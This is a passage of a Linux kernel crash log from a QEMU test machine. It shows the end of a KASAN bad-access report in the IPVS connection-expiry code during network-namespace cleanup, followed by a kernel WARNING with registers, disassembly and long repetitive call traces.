[   59.079640]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079642]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079644]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079647]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079649]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079651]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079653]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079655]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079658]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079660]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079662]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079664]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079667]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079669]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079671]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079673]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079675]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079678]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079680]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079682]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079684]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079687]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079689]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079691]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079693]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079696]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079698]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079700]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079702]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079704]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079707]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079709]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079711]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079713]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079715]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079718]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079720]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079722]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079724]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079727]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079729]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079731]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079733]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079736]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079738]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079740]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079742]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079744]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079747]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079749]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079751]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079753]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079756]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079758]  ? arch_stack_walk (arch/x86/include/asm/unwind.h:64 arch/x86/kernel/stacktrace.c:24)
[   59.079760]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079762]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079765]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079767]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079769]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079771]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079774]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079776]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079778]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079780]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079782]  ? ext4_writepages (fs/ext4/inode.c:3032)
[   59.079786]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079788]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079790]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079792]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079794]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079797]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079799]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079801]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079803]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079806]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079808]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079810]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079812]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079814]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079817]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079819]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079821]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079823]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079826]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079828]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079830]  ? addrconf_notify (net/ipv6/addrconf.c:3812)
[   59.079833]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079835]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079837]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079839]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079841]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079844]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079846]  ? __pfx_sched_balance_find_src_group (kernel/sched/fair.c:11815)
[   59.079849]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079851]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079853]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079856]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079858]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079860]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079862]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079864]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079867]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079869]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079871]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079873]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079876]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079878]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079880]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079882]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079884]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079887]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079889]  ? __flush_work (include/linux/rcupdate.h:882 kernel/workqueue.c:4389 kernel/workqueue.c:4403)
[   59.079891]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079893]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079896]  ? ip_vs_conn_net_cleanup (net/netfilter/ipvs/ip_vs_conn.c:1329 net/netfilter/ipvs/ip_vs_conn.c:1961 net/netfilter/ipvs/ip_vs_conn.c:2099)
[   59.079898]  ? __ip_vs_cleanup_batch (net/netfilter/ipvs/ip_vs_core.c:2542)
[   59.079901]  ? ops_undo_list (net/core/net_namespace.c:206 net/core/net_namespace.c:253)
[   59.079903]  ? __pfx_ops_undo_list (net/core/net_namespace.c:743)
[   59.079905]  ? __pfx__raw_spin_lock (kernel/locking/spinlock.c:362)
[   59.079909]  ? cleanup_net (net/core/net_namespace.c:706)
[   59.079911]  ? __pfx_cleanup_net (include/linux/llist.h:241)
[   59.079913]  ? finish_task_switch.isra.0 (kernel/sched/sched.h:1684 (discriminator 1) kernel/sched/sched.h:1697 (discriminator 1) kernel/sched/core.c:5251 (discriminator 1) kernel/sched/core.c:5369 (discriminator 1))
[   59.079917]  ? process_one_work (kernel/workqueue.c:3387)
[   59.079919]  ? __pfx___schedule (kernel/sched/core.c:8159 (discriminator 1))
[   59.079922]  ? __pfx_process_one_work (kernel/workqueue.c:4549)
[   59.079924]  ? _raw_spin_lock_irq (include/linux/instrumented.h:55 include/linux/atomic/atomic-instrumented.h:1301 include/asm-generic/qspinlock.h:112 include/linux/spinlock.h:188 include/linux/spinlock_api_smp.h:166 kernel/locking/spinlock.c:189)
[   59.079927]  ? __pfx_cleanup_net (include/linux/llist.h:241)
[   59.079929]  ? assign_work (kernel/workqueue.c:1235)
[   59.079931]  ? worker_thread (kernel/workqueue.c:3470 kernel/workqueue.c:3551)
[   59.079933]  ? __pfx_worker_thread (include/linux/list.h:264)
[   59.079936]  ? kthread (kernel/kthread.c:436)
[   59.079937]  ? recalc_sigpending (include/linux/instrumented.h:97 include/asm-generic/bitops/instrumented-atomic.h:41 include/linux/thread_info.h:109 kernel/signal.c:163)
[   59.079940]  ? __pfx_kthread (include/linux/list.h:173)
[   59.079941]  ? ret_from_fork (arch/x86/kernel/process.c:158)
[   59.079944]  ? __pfx_ret_from_fork (arch/x86/include/asm/desc.h:328 (discriminator 7))
[   59.079946]  ? __switch_to (include/linux/instrumented.h:82 include/asm-generic/bitops/instrumented-non-atomic.h:141 include/linux/thread_info.h:133 include/linux/sched.h:2102 arch/x86/include/asm/fpu/sched.h:34 arch/x86/kernel/process_64.c:619)
[   59.079949]  ? __switch_to_asm (arch/x86/entry/entry_64.S:206)
[   59.079951]  ? __pfx_kthread (include/linux/list.h:173)
[   59.079953]  ? ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
[   59.079956]  </TASK>
[   59.079957] 
[   59.079957] The buggy address belongs to the physical page:
[   59.079959] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x131f
[   59.079961] flags: 0x100000000000000(node=0|zone=1)
[   59.079965] raw: 0100000000000000 ffffea000004c7c8 ffffea000004c7c8 0000000000000000
[   59.079966] raw: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000
[   59.079967] page dumped because: kasan: bad access detected
[   59.079968] 
[   59.079969] Memory state around the buggy address:
[   59.079970]  ffff88800131fc00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[   59.079971]  ffff88800131fc80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[   59.079972] >ffff88800131fd00: f1 f1 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00
[   59.079973]                    ^
[   59.079975]  ffff88800131fd80: 00 00 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00 00
[   59.079976]  ffff88800131fe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[   59.079977] ==================================================================
[   59.080241] ------------[ cut here ]------------
[   59.080243] WARNING: kernel/entry/common.c:143 at raw_irqentry_exit_cond_resched+0x3c/0x50, CPU#0: 0/12
[   59.240617] Modules linked in:
[   59.240965] CPU: 0 UID: 0 PID: 12 Comm: kworker/u8:0 Not tainted 7.2.0-g506c8c29c5e7-dirty #2 PREEMPT(lazy) 
[   59.241942] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   59.243054] Workqueue: netns cleanup_net
[   59.243577] RIP: 0010:raw_irqentry_exit_cond_resched (kernel/entry/common.c:143 (discriminator 1) kernel/entry/common.c:137 (discriminator 1))
[   59.244124] Code: 05 09 53 8a 05 48 29 e0 48 3d ff 7f 00 00 77 19 65 48 8b 05 fe 52 8a 05 48 8b 00 a8 10 75 05 c3 cc cc cc cc e9 35 eb 0b 03 90 <0f> 0b 90 eb e1 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 90 90
All code
========
   0:	05 09 53 8a 05       	add    $0x58a5309,%eax
   5:	48 29 e0             	sub    %rsp,%rax
   8:	48 3d ff 7f 00 00    	cmp    $0x7fff,%rax
   e:	77 19                	ja     0x29
  10:	65 48 8b 05 fe 52 8a 	mov    %gs:0x58a52fe(%rip),%rax        # 0x58a5316
  17:	05 
  18:	48 8b 00             	mov    (%rax),%rax
  1b:	a8 10                	test   $0x10,%al
  1d:	75 05                	jne    0x24
  1f:	c3                   	ret
  20:	cc                   	int3
  21:	cc                   	int3
  22:	cc                   	int3
  23:	cc                   	int3
  24:	e9 35 eb 0b 03       	jmp    0x30beb5e
  29:	90                   	nop
  2a:*	0f 0b                	ud2		<-- trapping instruction
  2c:	90                   	nop
  2d:	eb e1                	jmp    0x10
  2f:	66 66 2e 0f 1f 84 00 	data16 cs nopw 0x0(%rax,%rax,1)
  36:	00 00 00 00 
  3a:	0f 1f 40 00          	nopl   0x0(%rax)
  3e:	90                   	nop
  3f:	90                   	nop

Code starting with the faulting instruction
===========================================
   0:	0f 0b                	ud2
   2:	90                   	nop
   3:	eb e1                	jmp    0xffffffffffffffe6
   5:	66 66 2e 0f 1f 84 00 	data16 cs nopw 0x0(%rax,%rax,1)
   c:	00 00 00 00 
  10:	0f 1f 40 00          	nopl   0x0(%rax)
  14:	90                   	nop
  15:	90                   	nop
[   59.246288] RSP: 0018:ffff88800131fa48 EFLAGS: 00010012
[   59.246801] RAX: 00000000000085b8 RBX: 0000000000000000 RCX: ffffffff99b88400
[   59.247479] RDX: 1ffff1100da06bb3 RSI: 0000000000000000 RDI: ffff88800131fa98
[   59.248230] RBP: ffff88800131fa88 R08: 0000000000000001 R09: ffffed100da04829
[   59.248912] R10: ffff88806d02414b R11: fffffffffff2db73 R12: ffff88800131fa98
[   59.249585] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
[   59.250682] FS:  0000000000000000(0000) GS:ffff8880cddef000(0000) knlGS:0000000000000000
[   59.251574] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   59.252137] CR2: 00005644acfb97b8 CR3: 0000000022c70000 CR4: 00000000000006f0
[   59.252822] Call Trace:
[   59.253078]  <TASK>
[   59.253302]  ? kasan_record_aux_stack (mm/kasan/generic.c:556)
[   59.253759]  ? __call_rcu_common.constprop.0 (kernel/rcu/tree.c:3181)
[   59.254387]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1403)
[   59.255133]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.255761]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.256199]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.256657]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.257105]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.257567]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.258006]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.258586]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.259034]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.259492]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.259940]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.260406]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.260867]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.261342]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.261790]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.262279]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.262814]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.263293]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.263747]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.264230]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.264742]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.265276]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.265747]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.266261]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.266815]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.267319]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.267787]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.268280]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.268751]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.269230]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.269697]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.270269]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.270856]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.271337]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.271792]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.272271]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.272775]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.273356]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.273812]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.274328]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.274784]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.275468]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.275933]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.276433]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.276905]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.277400]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.277881]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.278395]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.278867]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.279452]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.279924]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.280426]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.280897]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.281401]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.281872]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
